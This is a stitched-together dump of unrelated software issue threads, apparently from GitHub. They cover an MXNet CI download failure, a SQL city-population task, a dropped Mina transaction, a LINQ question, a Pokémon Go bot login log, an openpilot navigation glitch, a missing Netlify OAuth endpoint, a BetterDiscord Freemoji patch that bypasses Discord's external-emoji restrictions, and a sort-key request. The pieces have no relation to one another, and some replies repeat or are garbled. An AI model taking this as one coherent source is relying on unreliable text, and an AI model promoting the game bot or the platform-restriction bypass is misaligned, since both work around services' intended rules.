  File "C:\jenkins_slave\workspace\ut-python-gpu\pkg_vc14_gpu\python\mxnet\contrib\text\embedding.py", line 220, in _get_pretrained_file
    download(url, downloaded_file_path, sha1_hash=expected_downloaded_hash)
  File "C:\jenkins_slave\workspace\ut-python-gpu\pkg_vc14_gpu\python\mxnet\gluon\utils.py", line 208, in download
    raise RuntimeError("Failed downloading url %s"%url)
RuntimeError: Failed downloading url https://apache-mxnet.s3-accelerate.dualstack.amazonaws.com/gluon/embeddings/test/embedding_test.vec
-------------------- >> begin captured stdout << ---------------------
Downloading embeddings\test\embedding_test.vec from https://apache-mxnet.s3-accelerate.dualstack.amazonaws.com/gluon/embeddings/test/embedding_test.vec...

--------------------- >> end captured stdout << ----------------------
-------------------- >> begin captured logging << --------------------
requests.packages.urllib3.connectionpool: DEBUG: Starting new HTTPS connection (1): apache-mxnet.s3-accelerate.dualstack.amazonaws.com
requests.packages.urllib3.connectionpool: DEBUG: https://apache-mxnet.s3-accelerate.dualstack.amazonaws.com:443 "GET /gluon/embeddings/test/embedding_test.vec HTTP/1.1" 504 624
--------------------- >> end captured logging << ---------------------

Environment info (Required)
Windows Python 2 env on CI.
@szha: Possible to label this one as flaky?

@KellenSunderland this should be solved with https://github.com/apache/incubator-mxnet/pull/11181 please consider closing

@marcoabreu Shall we consider this problem as solved with #1181 ?

Oh yeah, thanks a lot!


6 - Code Required - City Report

As a City Coordinator, I require access to population data for cities where our organization has a presence, to analyse urban demographics, identify community needs, and implement targeted programs and services to support the population of each city effectively
**
The population of a city.

For the population reports, the following information is requested:
The name of the continent/region/country.
The total population of the continent/region/country.
The total population of the continent/region/country living in cities (including a %).
The total population of the continent/region/country not living in cities (including a %).

"SELECT city.Name AS CityName, country.Name AS CountryName, city.District, city.Population " +
"FROM city " +
"JOIN country ON country.Code = city.CountryCode";


payment transaction dropped after inclusion in orphan

Scenario: sent several payment transactions, all made it to an orphaned block, after which most made it into the canonical chain, but at least one was never included in the canonical chain. Since all were included in an orphaned block, it is clear that the missing transaction was broadcast.
This orphaned block 5338 contains 6 user commands for nonces 18-23 from key B62qpRMMLBrU3TEwtw1Fbaz41LcgX7H8y6JYH14MaiSFWzhbV8wVunu
https://minaexplorer.com/block/3NK8bzDTLwnFnTdjedwKKC7srkbZSJ8ck1BwXuntFA5nLB2Vv3z8
Nonces 18-22 were then successfully included in this canonical block 5338:
https://minaexplorer.com/block/3NLYnpNToKogfSPTDsehSFEZMVJ14NhMw6mrwg989R1YKbir4kzW
Nonce 23 was somehow dropped and never re-included in any block. It was eventually re-created and broadcast with a different memo, which made it onto the canonical chain in this block 5348:
https://minaexplorer.com/block/3NKsW8y5336DxNCeRBxzW7thi1pqGHZtm3HgyJEamyHpt9F6bhEh
Between blocks 5338 and 5348, only ~40 other user commands were included, so this is not a problem related to transaction volume or the pool being full. Most of those (all but 5) are at the same fee (0.01 mina) although 4 did go through at 0.1 and one at .001. There does not seem to be any obvious reason that the transaction should have been dropped from the pool.

Just noticed the orphan and the successful blocks for height 5338 were from the same creator. May be a factor.

I think this is similar to https://github.com/MinaProtocol/mina/issues/8331? Do you see Locally generated commands $cmds dropped because they conflicted with a committed command. in your logs as that's the commonality for both instances listed in that proper issue.

I think this is similar to #8331? Do you see Locally generated commands $cmds dropped because they conflicted with a committed command. in your logs as that's the commonality for both instances listed in that proper issue?

I looked at #8331 but think this is different - if I understood it correctly. Everything I read there seemed to indicate/relate to errors sending. This transaction was sent - and even included in an (orphaned) block on another node, then dropped.

Yeh, maybe it is different. The payments in #8331 are sent and a payment id is returned, they just got dropped later (actually after some time, as we were both sending on delayed intervals). I've experienced it again since and it's incredibly frustrating that they disappear after being successfully sent.

Thiis

I think this is similar to #8331? Do you see Locally generated commands $cmds dropped because they conflicted with a committed command. in your logs as that's the commonality for both instances listed in that proper issue?

I looked at #8331 but think this is different - if I understood it correctly. Everything I read there seemed to indicate/relate to errors sending. This transaction was sent - and even included in an (orphaned) block on another node, then dropped.

This is noted in #8331 (not send-payment error).  Transactions were being dropped from mempool when processing a block. To be specific, when removing payments from pool that are included in a block. This could also happen with orphaned blocks- i.e., if a now-orphaned block was in the canonical chain before being replaced.


Using linq inside lambda

I want to be able to check if there is a matching item in an array. Using simple Linq statements, such as Any(), work.
Embedding a lambda in the Linq, such as Any(v => v != null) fails to compile.
Any idea how that could be done?

@DomsRoberts Can you share a complete example of the rule where you are getting error along with input?

Closing this issue due to inactivity @DomsRoberts  if you still face the issue, feel free to reopen the issue


Please invite me to the GitHub Community Organization

Name
Obsydion
Discord Username (if applicable)
No response
Additional Context
I hope I can contribute to this organization.

It's great having you contribute to this project
If you would like to continue contributing to open source and would like to do it with an awesome inclusive community, you should join our Discord Server and our GitHub Organisation - we help and encourage each other to contribute to open source little and often 🤓 . Any questions let us know.

Invitation sent for the GitHub Organisation. Welcome to the community 🎉#
Don't forget after accepting to make it public so it appears on your GitHub profile for everyone else to see, you can do this by finding your name in the GitHub organisation list and change the dropdown to public https://github.com/orgs/jaidevstudio/people
Like this

Tips for practising:
Remember contributing to open source is not just about code, its about collaboration, communication and adding value
I hope that helps

Please invite me to the GitHub Community Organization · Issue #222 · Jaidevstudio_support.html


Currently doing anything or not?

I am not to sure since I woke up and updated I can't tell if it's actually doing anything since it's not spamming anymore.
It just does this :
./pokecli.py -c 100 -s -w 3 -a ptc -u <username> -p <password> -l "37.787994, -122.407440" 2016-07-21 15:11:21,638 [       bot] [ INFO] Your given location: The Dewey Monument, San Francisco, CA 94108, USA 2016-07-21 15:11:21,638 [       bot] [ INFO] lat/long/alt: 37.7879465 -122.4073489 0.0 2016-07-21 15:11:21,638 [  auth_ptc] [ INFO] Login for: <Username> 2016-07-21 15:11:22,753 [  auth_ptc] [ INFO] PTC Login successful 2016-07-21 15:11:22,753 [    pgoapi] [ INFO] Starting RPC login sequence (app simulation) 2016-07-21 15:11:23,019 [    pgoapi] [ INFO] Finished RPC login sequence (app simulation) 2016-07-21 15:11:23,019 [    pgoapi] [ INFO] Login process completed

You're probably having issues to login. Try in the phone app. I started to have this problem earlier today out of nowhere and it went away in the same way too.


Map navigation instructions glitch

Describe the bug
The next direction instruction is glitching back and forth. This occurred right after a reboot due to memory low error.
Video
https://discord.com/channels/469524606043160576/534138605136773138/900820595267219526
What hardware does this issue affect?
comma three
Provide a route where the issue occurs
06d2b4f33202cc03|2021-10-21--14-06-15--0
openpilot version
0.8.9
Additional info
No response

This route was before the refactor of ui/navd so can't reproduce the exact isssue. I assume however that this is a duplicate of https://github.com/commaai/openpilot/issues/23278


Missing /oauth/token endpoint

Ref: https://github.com/netlify/product/issues/166
The https://open-api.netlify.com/#/default spec is missing the https://api.netlify.com/oauth/token endpoint

This is used to fetch OAuth creds like so:
curl -d 'grant_type=client_credentials&client_id=<YOUR_CLIENT_ID>&client_secret=<YOUR_CLIENT_SECRET>' https://api.netlify.com/oauth/token

client_credentials flow is not supported.


Freemoji emote lookup in chat not showing external emotes

Describe the bug
While using the emote lookup dialog that gets shown after writing :emotename... only that server's emotes are shown.
I did not notice this happening after some specific update, but I might have missed it. Looking at the code trying to find what might be the cause of this I noticed this line of code: https://github.com/QbDesu/BetterDiscordAddons/blob/potato/Plugins/Freemoji/Freemoji.plugin.js#L300
Patcher.after(EmojiFilter, 'getEmojiUnavailableReason', (_, [{intention, bypassPatch}], ret) => {
                        if (intention!==EmojiIntention.CHAT || bypassPatch || !this.settings.external) return;
         ->             return ret===EmojiDisabledReasons.DISALLOW_EXTERNAL ? null : ret;
                    });

If I understand correctly (I might certainly be wrong since it has been years since I last loked at javascript code) this line checks if the value returned by getEmojiUnavailableReason is EmojiDisabledReasons.DISALLOW_EXTERNAL and if it is, then it returns null instead. Returns ret (unchanged return value) otherwise.
Should it not be the other way around? I saw the plugin checking for EmojiDisabledReasons.DISALLOW_EXTERNAL elsewhere, so it does not make much sense to ignore it if we want to check it later on.

Noticed the same after todays update.
as a workaround your can press [ctrl] + [e] to open the emoji picker and continue typing.
has the added benefit that it would show all that match and not just the limited list you'd get with the :emotename 😊

Easy workaround for me was to just rewrite the return from the function I pointed out above so that i always returns null. Seems to work fine for me as I ignore server-based external emote settings anyway. Just an idea for other folks who have the same use case until a proper update is available.

Can you share the rewrite for those of us who are code-illiterate? 😊

Can you share the rewrite for those of us who are code-illiterate? 😊

{                         if (intention!==EmojiIntention.CHAT || bypassPatch || !this.settings.external) return;                         return ret===EmojiDisabledReasons.DISALLOW_EXTERNAL ? null : ret;                     }
here :)

Can you share the rewrite for those of us who are code-illiterate? 😊

here :)
Patcher.after(EmojiFilter, 'getEmojiUnavailableReason', (_, [{intention, bypassPatch}], ret) => null);

Should be fixed in the 1.6.0 update. At least it does for me. The fix provided above while probably working would would have broken the ability to use external emoji when you don't have external emoji permissions.
If you still run into trouble be sure to let me know.


Support composite sort keys in recordset bookmark

If it is not too difficult, I think it would be useful to support composite sort keys in bookmarks. I.e.

On page init, if @sort(...) from bookmark has multiple columns, preserve them in data data retrieve
While paging through results, retain current sort even if multi-column.
If user clicks sort controls on table, it is OK to revert to single column sort. There doesn't need to be a way to begin a multi-column sort from the GUI for now.

This would be useful for bookmarks on project landing pages, where more interesting sort orders may be useful starting points for certain recurring workflows.

Sort with multiple column is already supported in recordset URL.